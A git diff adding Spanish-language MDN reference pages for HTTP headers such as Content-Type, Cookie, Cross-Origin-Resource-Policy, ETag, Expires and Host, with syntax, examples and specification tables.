+<h2 id="Espeficicaciones">Espeficicaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Adds <code>disown-opener</code>, <code>manifest-src</code>, <code>navigate-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. Undeprecates <code>frame-src</code>. Deprecates <code>report-uri</code> in favor if <code>report-to</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Mixed Content")}}</td>
+   <td>{{Spec2('Mixed Content')}}</td>
+   <td>Adds <code>block-all-mixed-content</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Subresource Integrity")}}</td>
+   <td>{{Spec2('Subresource Integrity')}}</td>
+   <td>Adds <code>require-sri-for</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Upgrade Insecure Requests")}}</td>
+   <td>{{Spec2('Upgrade Insecure Requests')}}</td>
+   <td>Adds <code>upgrade-insecure-requests</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Adds <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, and <code>report-uri</code>. Deprecates <code>frame-src</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.0")}}</td>
+   <td>{{Spec2('CSP 1.0')}}</td>
+   <td>Defines <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src,</code> and <code>style-src</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p>
+
+<h2 id="Mirar_tambien">Mirar tambien</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/docs/Web/HTTP/CSP">Learn about: Content Security Policy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></li>
+ <li><a href="https://csp.withgoogle.com/docs/strict-csp.html">Adopting a strict policy</a></li>
+</ul>
diff --git a/files/es/web/http/headers/content-type/index.html b/files/es/web/http/headers/content-type/index.html
new file mode 100644
index 0000000000..3073616c56
--- /dev/null
+++ b/files/es/web/http/headers/content-type/index.html
@@ -0,0 +1,111 @@
+---
+title: Content-Type
+slug: Web/HTTP/Headers/Content-Type
+translation_of: Web/HTTP/Headers/Content-Type
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Type</code></strong> es la propiedad de cabecera (header) usada para indicar el  {{Glossary("MIME type","media type")}} del recurso.</p>
+
+<p><code>Content-Type</code> dice al cliente que tipo de contenido será retornado. Browsers will do MIME sniffing in some cases and will not necessarily follow the value of this header; to prevent this behavior, the header {{HTTPHeader("X-Content-Type-Options")}} can be set to <code>nosniff</code>.</p>
+
+<p>En solicitudes (tales como {{HTTPMethod("POST")}} o {{HTTPMethod("PUT")}}), el cliente indica al servidor que tipo de dato es enviado actualmente.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>media-type</code></dt>
+ <dd>El <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> de el recurso o el dato.</dd>
+ <dt>charset</dt>
+ <dd>La codificación de caracteres.</dd>
+ <dt>boundary</dt>
+ <dd>Para entidades de tipo <em>multipart</em> la directiva <code>boundary</code> es obligatoria. Ella consiste en una secuencia de 1 a 70 caracteres de un conjunto conocido por su robustez en pasarelas de correo electrónico, y no pueden terminar con espacios en blanco. Es usada para encapsular los limites de los mensajes de múltiples partes.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Content-Type_in_HTML_forms"><code>Content-Type</code> in HTML forms</h3>
+
+<p>En una solicitud {{HTTPMethod("POST")}} , que resulta del envio de un formulario html, el <code>Content-Type</code> de la solicitud es especificado como un atributo <code>enctype</code> del elemento {{HTMLElement("form")}} .</p>
+
+<pre class="brush: html">&lt;form action="/" method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="text" name="description" value="some text"&gt;
+  &lt;input type="file" name="myFile"&gt;
+  &lt;button type="submit"&gt;Submit&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>La solicitud se visualiza algo como esto (si tienes poco interes en los headers omite esto)</p>
+
+<pre>POST /foo HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+
+some text
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="myFile"; filename="foo.txt"
+Content-Type: text/plain
+
+(content of the uploaded file foo.txt)
+---------------------------974767299852498929531610575
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta pagina es generada desde datos estructurados Si quieres contribuir con el dato, por favor ingresa a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un <strong>pull request</strong>.</p>
+
+<p>{{Compat("http.headers.Content-Type")}}</p>
+
+<h2 id="Más_sobre">Más sobre</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}} and {{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{HTTPStatus("206")}} Partial Content</li>
+ <li>{{HTTPHeader("X-Content-Type-Options")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/cookie/index.html b/files/es/web/http/headers/cookie/index.html
new file mode 100644
index 0000000000..36cff2d8aa
--- /dev/null
+++ b/files/es/web/http/headers/cookie/index.html
@@ -0,0 +1,74 @@
+---
+title: Cookie
+slug: Web/HTTP/Headers/Cookie
+tags:
+  - Cookies
+  - encabezado
+  - solicitud
+translation_of: Web/HTTP/Headers/Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>El encabezado <strong><code>Cookie</code></strong> de una solicitud HTTP contiene <a href="/en-US/docs/Web/HTTP/Cookies">cookies HTTP </a>almacenadas y enviadas previamente por el servidor con el encabezado (<em><strong><code>header</code></strong></em>) {{HTTPHeader("Set-Cookie")}}</div>
+
+<div> </div>
+
+<div>Los encabezados <code>Cookie</code> puede ser omitidos por completo, si las preferencias de privacidad del navegador están configuradas para bloquearlos, por ejemplo.</div>
+
+<div> </div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Cookie: &lt;cookie-lista&gt;
+Cookie: nombre=valor
+Cookie: nombre=valor; nombre2=valor2...nombreN=valorN;</pre>
+
+<dl>
+ <dt>&lt;cookie-lista&gt;</dt>
+ <dd>Una lista de pares <code>nombre:valor </code>definidos como<code> &lt;nombre-de-cookie=&lt;valor-de-cookie&gt;</code>. Los pares en la lista son separados por un punto y coma seguido de un espacio <code>('; ')</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6265", "Cookie", "5.4")}}</td>
+   <td>HTTP State Management Mechanism</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en este sitio es generada desde datos estructurada. Si quieres contribuir con estos datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos una solicitud pull.</p>
+
+<p>{{Compat("http.headers.Cookie")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/cross-origin-resource-policy/index.html b/files/es/web/http/headers/cross-origin-resource-policy/index.html
new file mode 100644
index 0000000000..7aa86a84d9
--- /dev/null
+++ b/files/es/web/http/headers/cross-origin-resource-policy/index.html
@@ -0,0 +1,68 @@
+---
+title: Cross-Origin-Resource-Policy
+slug: Web/HTTP/Headers/Cross-Origin-Resource-Policy
+tags:
+  - HTTP
+  - Referencia
+  - Respuesta de encabezado
+  - encabezado
+  - encabezado HTTP
+translation_of: Web/HTTP/Headers/Cross-Origin-Resource-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La respuesta del encabezado HTTP <strong><code>Cross-Origin-Resource-Policy</code></strong> transmite un deseo de que el navegador bloquee peticiones no-cors cross-origin/cross-site al recurso dado</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header", "Respuesta del encabezado")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Cross-Origin-Resource-Policy: same-site | same-origin | cross-origin
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>La respuesta de encabezado debajo puede causar que agentes de usuario compatibles desabiliten peticiones cross-origin no-cors:</p>
+
+<pre>Cross-Origin-Resource-Policy: same-origin
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fetch", '#cross-origin-resource-policy-header')}}</td>
+   <td>{{Spec2("Fetch", '#cross-origin-resource-policy-header')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("http.headers.Cross-Origin-Resource-Policy")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP)">Explicador de la política de recursos cruzados (Cross-Origin Resource Policy - CORP) </a></li>
+</ul>
diff --git a/files/es/web/http/headers/etag/index.html b/files/es/web/http/headers/etag/index.html
new file mode 100644
index 0000000000..7e8b0ebe5d
--- /dev/null
+++ b/files/es/web/http/headers/etag/index.html
@@ -0,0 +1,98 @@
+---
+title: ETag
+slug: Web/HTTP/Headers/ETag
+translation_of: Web/HTTP/Headers/ETag
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta de HTTP <strong><code>ETag</code></strong> es un identificador para una versión específica de un recurso.  Permite a la memoria caché ser más eficiente, y ahorrar ancho de banda, en tanto que un servidor web no necesita enviar una respuesta completa si el contenido no ha cambiado.  Por otro lado, si el contenido cambió, los etags son útiles para ayudar a prevenir actualizaciones simultáneas de un recurso de sobre-escribirlo por otro ("colisiones en el aire").</p>
+
+<p>Si el recurso en una URL dada cambia, un valor Etag debe ser generado.  De esta forma los Etags son muy similares a las huellas digitales y pueden también usarse para propósitos de rastreo por algunos servidores.  Un comparativo de ellos permite rápidamente determinar cuándo dos representaciones de un recurso son las mismas, pero podrían también configurarse para persistir indefinidamente por un servidor en rastreo.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de Encabezado</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">ETag: W/"&lt;valor_etag&gt;"
+ETag: "&lt;valor_etag&gt;"
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>W/</code> {{optional_inline}}</dt>
+ <dd><code>'W/'</code> (sensible a mayúsculas) indica que se usa un <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">validador débil</a>.  Los validadores débiles son fáciles de generar pero son menos útiles para realizar comparativos.  Los validadores fuertes son ideales para realizar comparativos pero pueden ser muy difíciles de generar  de forma eficiente.  Los valores Etag débiles de dos representaciones de los mismos recursos podrían ser semánticamente equivalentes, pero no idénticos byte por byte. Esto significa que los Etag débiles previenen el almacenamiento en caché cuando el <a href="https://wiki.developer.mozilla.org/es/docs/Web/HTTP/Headers/Accept-Ranges">range request por byte</a> es usado, a su vez los Etag fuertes permiten que los range request puedan utilizar el almacenamiendo en caché.</dd>
+ <dt>"&lt;valor_etag&gt;"</dt>
+ <dd>Las Etiquetas de Entidad (ETags) representan de forma única a los recursos.  Son una cadena de caracteres ASCII puestas entre comillas dobles (Como <code>"675af34563dc-tr34"</code>).  El método por el cual se generan los valores <code>ETag</code> no está especificado. Muchas veces, se usa una etiqueda del contenido, una etiqueta de la fecha y hora de la última modificación, o sólo una revisión.  Por ejemplo, MDN usa una etiqueda de dígitos hexadecimales para el contenido wiki.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="notranslate">ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"</pre>
+
+<h3 id="Evitando_las_colisiones_en_el_aire">Evitando las colisiones en el aire</h3>
+
+<p>Con la ayuda del <code>ETag</code> y los encabezados {{HTTPHeader("If-Match")}} se puede ser capaz de detectar las colisiones de edición en el aire.</p>
+
+<p>Por ejemplo cuando se edita MDN, el contenido wiki actual es etiquetado y puesto en un <code>Etag</code> en la respuesta:</p>
+
+<pre class="notranslate">ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Cuando se guarda los cambios de una página a una página wiki (datos posteados), la petición  {{HTTPMethod("POST")}} contendrá el encabezado que contiene los valores <code>ETag</code> para revisar la frescura entre ellas.</p>
+
+<pre class="notranslate">If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Si las etiquetas no concuerdan, significa que el documento ha sido editado de por sí y se lanza un error  {{HTTPStatus("412")}}<code> Precondition Failed</code>.</p>
+
+<h3 id="Caching_de_los_recursos_invariados">Caching de los recursos invariados</h3>
+
+<p>Otro caso típico del uso del encabezado <code>ETag</code> es el cacheo de recursos que no han variado.  Si un usuario visita una URL dada nuevamente (la que tiene un conjunto <code>ETag</code>), y está <em>viciado</em>, es decir que es muy viejo para considerarlo usable, el cliente enviará el valor de su <code>ETag</code> a través de un campo de encabezado {{HTTPHeader("If-None-Match")}}:</p>
+
+<pre class="notranslate">If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>El servidor compara el <code>ETag</code> del cliente (enviado con un <code>If-None-Match</code>) con el <code>ETag</code> para su versión actual del recurso y si ambos valores concuerdan (esto es, el recurso no ha cambiado), el servidor envió un estado {{HTTPStatus("304")}}<code> Not Modified</code>, sin ningún cuerpo, lo cual le dice al cliente que la versión cacheada de la respuesta todavía es buena para usar (<em>refrescar</em>).</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "ETag", "2.3")}}</td>
+   <td>Protocolo de Transferencia por Hipertexto (HTTP/1.1): Peticiones Condicionales</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.ETag")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+ <li>
+  <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/expires/index.html b/files/es/web/http/headers/expires/index.html
new file mode 100644
index 0000000000..80c39c61f6
--- /dev/null
+++ b/files/es/web/http/headers/expires/index.html
@@ -0,0 +1,81 @@
+---
+title: Expires
+slug: Web/HTTP/Headers/Expires
+tags:
+  - Cache
+  - Expires
+  - HTTP
+  - Respuesta
+  - encabezado
+translation_of: Web/HTTP/Headers/Expires
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado <code><strong>Expires</strong></code> contiene la fecha y hora en la que se considerará la respuesta caducada.</p>
+
+<p>Fechas inválidas, como el valor 0, representan una fecha en el pasado, esto significa que el recurso ya ha expirado.</p>
+
+<p>Si existe un encabezado {{HTTPHeader("Cache-Control")}} con la directiva "max-age" o "s-max-age" en la respuesta, el encabezado <code>Expires</code> será ignorado.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Encabezado</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de encabezado Prohibido")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Expires: &lt;http-date&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>
+ <p>Una estampa de tiempo HTTP.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre>Expires: Jue, 21 Oct 2017 07:28:00 GMT</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Expires", "5.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Expires")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/host/index.html b/files/es/web/http/headers/host/index.html
new file mode 100644
index 0000000000..2e7ac10815
--- /dev/null
+++ b/files/es/web/http/headers/host/index.html
@@ -0,0 +1,75 @@
+---
+title: Host
+slug: Web/HTTP/Headers/Host
+tags:
+  - Cabecera
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Headers/Host
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de solicitud <code><strong>Host</strong></code> especifica el nombre de dominio del servidor (para hosting virtual), y (opcionalmente) el número de puerto TCP en el que el servidor esta escuchando.</p>
+
+<p>Si no se provee un puerto, se usará el puerto por defecto para el servicio solicitado (e.j.: "80" para una URL HTTP).</p>
+
+<p>El encabezado <code>Host</code> debe enviarse obligatoriamente en todas las solicitudes HTTP/1.1. Un código de error {{HTTPStatus("400")}} (Petición mala) debería enviarse a cualquier solicitud HTTP/1.1 que no contiene o contiene más de un encabezado <code>Host</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>Encabezado de solicitud</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Host: &lt;host&gt;:&lt;puerto&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>el nombre de dominio del servidor (pata hosting virtual).</dd>
+ <dt>&lt;puerto&gt; {{optional_inline}}</dt>
+ <dd>número de puerto TCP en el que el servidor está escuchando.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Host: developer.cdn.mozilla.net</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Host", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Host")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTTPStatus("400")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/index.html b/files/es/web/http/headers/index.html
new file mode 100644
index 0000000000..4b4ed3c8a1
--- /dev/null
+++ b/files/es/web/http/headers/index.html
@@ -0,0 +1,396 @@
+---
+title: HTTP headers
+slug: Web/HTTP/Headers
+tags:
+  - HTTP
+  - Headers
+  - Networking
+  - Reference
+  - TopicStub
+translation_of: Web/HTTP/Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>Las cabeceras (en inglés <em>headers</em>) HTTP permiten al cliente y al servidor enviar información adicional junto a una petición o respuesta. Una cabecera de petición esta compuesta por su nombre (no sensible a las mayusculas) seguido de dos puntos '<code>:</code>', y a continuación su valor (sin saltos de línea). Los espacios en blanco a la izquierda del valor son ignorados</div>
+
+<div></div>
+
+<div>Se pueden agregar cabeceras propietarias personalizadas usando el prefijo 'X-', pero esta convención se encuentra desfasada desde Julio de 2012, debido a los inconvenientes causados cuando se estandarizaron campos no estandar en el <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; otras están listadas en un <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">registro IANA</a>, cuyo contenido original fue definido en el <a href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>, IANA tambien mantiene un <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">registro de propuestas para nuevas cabeceras HTTP</a></div>
+
+<div></div>
+
+<p>Las Cabeceras pueden ser agrupadas de acuerdo a sus contextos:</p>
+
+<ul>
+ <li>{{Glossary("Cabecera general")}}: Cabeceras que se aplican tanto a las peticiones como a las respuestas, pero sin relación con los datos que finalmente se transmiten en el cuerpo.</li>
+ <li>{{Glossary("Cabecera de consulta")}}: Cabeceras que contienen más información sobre el contenido que va a obtenerse o sobre el cliente.</li>
+ <li>{{Glossary("Cabecera de respuesta")}}: Cabeceras que contienen más información sobre el contenido, como su origen o el servidor (nombre, versión, etc.).</li>
+ <li>{{Glossary("Cabecera de entidad")}}: Cabeceras que contienen más información sobre el cuerpo de la entidad, como el tamaño del contenido o su tipo MIME.</li>
+</ul>
+
+<p>Las cabeceras también pueden clasificarse de acuerdo a cómo se comportan frente a ellas los proxies:</p>
+
+<dl>
+ <dt><a id="e2e" name="e2e"></a>Cabeceras de extremo a extremo</dt>
+ <dd>Estas cabeceras deben ser enviadas al recipiente final del mensaje; esto es, el servidor (para una petición) o el cliente (para una respuesta). Los proxies intermediarios deben transmitir las cabeceras de extremo-a-extremo sin modificar, y las cachés deben guardarlas tal y como son recibidas.</dd>
+ <dt><a id="hbh" name="hbh"></a>Cabeceras de paso</dt>
+ <dd>Estas cabeceras sólo son significativas para conexiones de un paso, y no deben ser transmitidas por proxies o almacenarse en caché. Éstas cabeceras son: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. La cabecera general {{ httpheader("Connection") }} sólo puede usarse para este tipo de cabeceras.</dd>
+</dl>
+
+<p>La siguiente lista agrupa las cabeceras HTTP en categorías según su uso. Para visualizar una lista en orden alfabético, use el navegador del lado izquierdo.</p>
+
+<h2 id="Autenticación">Autenticación</h2>
+
+<dl>
+ <dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
+ <dd>Define el método de autenticación que debería ser usado para tener acceso al contenido. </dd>
+ <dt>{{HTTPHeader("Authorization")}}</dt>
+ <dd>Contiene las credenciales para autenticar a un usuario con un servidor.</dd>
+ <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
+ <dd>Define el método de autenticación que debería ser usado para tener acceso a un recurso que se encuentre tras un servidor proxy.</dd>
+ <dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
+ <dd>Contiene las credenciales para autenticar a un usuario con un servidor proxy.</dd>
+</dl>
+
+<h2 id="Almacenamiento_en_caché">Almacenamiento en caché</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Age")}}</dt>
+ <dd>El tiempo en el que un objeto ha estado en una caché proxy, expresado en segundos.</dd>
+ <dt>{{HTTPHeader("Cache-Control")}}</dt>
+ <dd>Especifica directivas para los mecanismos de almacenamiento en caché, tanto para peticiones como para respuestas.</dd>
+ <dt>{{HTTPHeader("Expires")}}</dt>
+ <dd>La fecha y tiempo tras las cuales una respuesta se considera agotada. </dd>
+ <dt>{{HTTPHeader("Pragma")}}</dt>
+ <dd>Cabecera specífica para implementaciones que puede tener diferentes efectos a lo lartgo del proceso de petición-respuesta. Utilizada para implementar retrocompatibilidad con cachés de tipo HTTP/1.0 donde la cabecera <code>Cache-Control</code> aún no esté presente.</dd>
+ <dt>{{HTTPHeader("Warning")}}</dt>
+ <dd>Un campo de alerta general, que contiene i nformación sobre diferentes problemas posibles.</dd>
+</dl>
+
+<h2 id="Indicaciones_sobre_el_cliente">Indicaciones sobre el cliente</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH-Lifetime")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Early-Data")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Content-DPR")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("DPR")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Downlink")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Save-Data")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Viewport-Width")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Width")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h2 id="Condicionales">Condicionales</h2>
+ </dt>
